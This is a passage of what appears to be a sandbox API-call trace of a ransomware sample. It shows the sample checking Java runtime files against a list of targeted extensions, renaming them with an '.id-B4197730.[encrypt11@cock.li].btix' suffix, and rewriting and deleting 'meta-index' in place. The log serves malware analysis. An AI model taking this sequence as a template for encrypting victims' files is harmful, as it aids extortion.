Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.748] lstrlenW (lpString=".jpg") returned 4 [0130.748] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.748] lstrlenW (lpString=".doc") returned 4 [0130.748] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.748] lstrlenW (lpString=".docx") returned 5 [0130.748] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0130.748] lstrlenW (lpString=".pdf") returned 4 [0130.748] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.748] lstrlenW (lpString=".xls") returned 4 [0130.748] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.748] lstrlenW (lpString=".xlsx") returned 5 [0130.748] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0130.748] lstrlenW (lpString=".ppt") returned 4 [0130.748] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.749] lstrlenW (lpString=".zip") returned 4 [0130.749] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.749] lstrlenW (lpString=".rar") returned 4 [0130.749] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.749] lstrlenW (lpString=".bz2") returned 4 [0130.749] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.749] lstrlenW (lpString=".7z") returned 3 [0130.749] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.749] lstrlenW (lpString=".dbf") returned 4 [0130.749] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.749] lstrlenW (lpString=".1cd") returned 4 [0130.749] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.749] lstrlenW (lpString=".jpg") returned 4 [0130.749] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.749] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.749] lstrlenW (lpString="jfxrt.jar") returned 9 [0130.749] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.750] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=18246297) returned 1 [0130.750] CloseHandle (hObject=0x42c) returned 1 [0130.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0130.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0130.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.751] lstrlenW (lpString=".doc") returned 4 [0130.751] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.751] lstrlenW (lpString=".docx") returned 5 [0130.751] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0130.751] lstrlenW (lpString=".pdf") returned 4 [0130.751] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.751] lstrlenW (lpString=".xls") returned 4 [0130.751] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.751] lstrlenW (lpString=".xlsx") returned 5 [0130.751] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0130.751] lstrlenW (lpString=".ppt") returned 4 [0130.751] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.751] lstrlenW (lpString=".zip") returned 4 [0130.751] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.751] lstrlenW (lpString=".rar") returned 4 [0130.751] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.751] lstrlenW (lpString=".bz2") returned 4 [0130.751] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.751] lstrlenW (lpString=".7z") returned 3 [0130.751] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.751] lstrlenW (lpString=".dbf") returned 4 [0130.751] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.751] lstrlenW (lpString=".1cd") returned 4 [0130.751] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.751] lstrlenW (lpString=".jpg") returned 4 [0130.751] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.752] lstrlenW (lpString=".doc") returned 4 [0130.752] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.752] lstrlenW (lpString=".docx") returned 5 [0130.752] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0130.752] lstrlenW (lpString=".pdf") returned 4 [0130.752] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.752] lstrlenW (lpString=".xls") returned 4 [0130.752] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.752] lstrlenW (lpString=".xlsx") returned 5 [0130.752] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0130.752] lstrlenW (lpString=".ppt") returned 4 [0130.752] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.752] lstrlenW (lpString=".zip") returned 4 [0130.752] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.752] lstrlenW (lpString=".rar") returned 4 [0130.752] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.752] lstrlenW (lpString=".bz2") returned 4 [0130.752] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.752] lstrlenW (lpString=".7z") returned 3 [0130.752] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.752] lstrlenW (lpString=".dbf") returned 4 [0130.752] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.752] lstrlenW (lpString=".1cd") returned 4 [0130.752] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0130.752] lstrlenW (lpString=".jpg") returned 4 [0130.752] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.753] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.753] lstrlenW (lpString="localedata.jar") returned 14 [0130.753] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.765] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2204781) returned 1 [0130.765] CloseHandle (hObject=0x41c) returned 1 [0130.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0130.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0130.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.766] lstrlenW (lpString=".doc") returned 4 [0130.766] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.766] lstrlenW (lpString=".docx") returned 5 [0130.766] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0130.766] lstrlenW (lpString=".pdf") returned 4 [0130.766] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.766] lstrlenW (lpString=".xls") returned 4 [0130.766] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.766] lstrlenW (lpString=".xlsx") returned 5 [0130.766] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0130.766] lstrlenW (lpString=".ppt") returned 4 [0130.766] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.766] lstrlenW (lpString=".zip") returned 4 [0130.766] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.766] lstrlenW (lpString=".rar") returned 4 [0130.766] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.766] lstrlenW (lpString=".bz2") returned 4 [0130.766] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.766] lstrlenW (lpString=".7z") returned 3 [0130.766] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.767] lstrlenW (lpString=".dbf") returned 4 [0130.767] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.767] lstrlenW (lpString=".1cd") returned 4 [0130.767] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.767] lstrlenW (lpString=".jpg") returned 4 [0130.767] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.767] lstrlenW (lpString=".doc") returned 4 [0130.767] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.767] lstrlenW (lpString=".docx") returned 5 [0130.767] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0130.767] lstrlenW (lpString=".pdf") returned 4 [0130.767] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.767] lstrlenW (lpString=".xls") returned 4 [0130.767] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.767] lstrlenW (lpString=".xlsx") returned 5 [0130.767] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0130.767] lstrlenW (lpString=".ppt") returned 4 [0130.767] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.767] lstrlenW (lpString=".zip") returned 4 [0130.767] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.767] lstrlenW (lpString=".rar") returned 4 [0130.767] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.767] lstrlenW (lpString=".bz2") returned 4 [0130.767] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.767] lstrlenW (lpString=".7z") returned 3 [0130.767] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.767] lstrlenW (lpString=".dbf") returned 4 [0130.767] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.768] lstrlenW (lpString=".1cd") returned 4 [0130.768] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0130.768] lstrlenW (lpString=".jpg") returned 4 [0130.768] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.768] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".btix") returned -1 [0130.768] lstrlenW (lpString="meta-index") returned 10 [0130.768] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.768] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1461) returned 1 [0130.768] CloseHandle (hObject=0x41c) returned 1 [0130.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0130.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.769] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.769] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.774] GetLastError () returned 0x0 [0130.774] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x5b5, lpOverlapped=0x0) returned 1 [0130.845] WriteFile (in: hFile=0x4a4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0130.846] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.846] WriteFile (in: hFile=0x4a4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe8, lpOverlapped=0x0) returned 1 [0130.846] SetEndOfFile (hFile=0x4a4) returned 1 [0130.846] CloseHandle (hObject=0x4a4) returned 1 [0130.846] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.846] SetEndOfFile (hFile=0x41c) returned 1 [0130.849] CloseHandle (hObject=0x41c) returned 1 [0130.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.849] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0130.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.849] lstrlenW (lpString=".doc") returned 4 [0130.849] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0130.849] lstrlenW (lpString=".docx") returned 5 [0130.849] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0130.850] lstrlenW (lpString=".pdf") returned 4 [0130.850] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString=".xls") returned 4 [0130.850] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString=".xlsx") returned 5 [0130.850] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0130.850] lstrlenW (lpString=".ppt") returned 4 [0130.850] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.850] lstrlenW (lpString=".zip") returned 4 [0130.850] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString=".rar") returned 4 [0130.850] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString=".bz2") returned 4 [0130.850] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString=".7z") returned 3 [0130.850] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0130.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.850] lstrlenW (lpString=".dbf") returned 4 [0130.850] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.850] lstrlenW (lpString=".1cd") returned 4 [0130.850] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.850] lstrlenW (lpString=".jpg") returned 4 [0130.850] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.850] lstrlenW (lpString=".doc") returned 4 [0130.850] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString=".docx") returned 5 [0130.850] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0130.850] lstrlenW (lpString=".pdf") returned 4 [0130.850] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString=".xls") returned 4 [0130.850] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0130.850] lstrlenW (lpString=".xlsx") returned 5 [0130.850] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0130.851] lstrlenW (lpString=".ppt") returned 4 [0130.851] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0130.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.851] lstrlenW (lpString=".zip") returned 4 [0130.851] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0130.851] lstrlenW (lpString=".rar") returned 4 [0130.851] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0130.851] lstrlenW (lpString=".bz2") returned 4 [0130.851] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0130.851] lstrlenW (lpString=".7z") returned 3 [0130.851] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0130.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.851] lstrlenW (lpString=".dbf") returned 4 [0130.851] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0130.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.851] lstrlenW (lpString=".1cd") returned 4 [0130.851] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0130.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0130.851] lstrlenW (lpString=".jpg") returned 4 [0130.851] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0130.851] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.851] lstrlenW (lpString="nashorn.jar") returned 11 [0130.851] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.860] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2022734) returned 1 [0130.860] CloseHandle (hObject=0x430) returned 1 [0130.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0130.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0130.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.861] lstrlenW (lpString=".doc") returned 4 [0130.861] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.861] lstrlenW (lpString=".docx") returned 5 [0130.861] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0130.861] lstrlenW (lpString=".pdf") returned 4 [0130.861] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.861] lstrlenW (lpString=".xls") returned 4 [0130.861] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.861] lstrlenW (lpString=".xlsx") returned 5 [0130.861] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0130.861] lstrlenW (lpString=".ppt") returned 4 [0130.861] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.861] lstrlenW (lpString=".zip") returned 4 [0130.861] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.861] lstrlenW (lpString=".rar") returned 4 [0130.861] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.861] lstrlenW (lpString=".bz2") returned 4 [0130.861] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.861] lstrlenW (lpString=".7z") returned 3 [0130.861] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.861] lstrlenW (lpString=".dbf") returned 4 [0130.861] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.861] lstrlenW (lpString=".1cd") returned 4 [0130.861] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.861] lstrlenW (lpString=".jpg") returned 4 [0130.861] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.862] lstrlenW (lpString=".doc") returned 4 [0130.862] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.862] 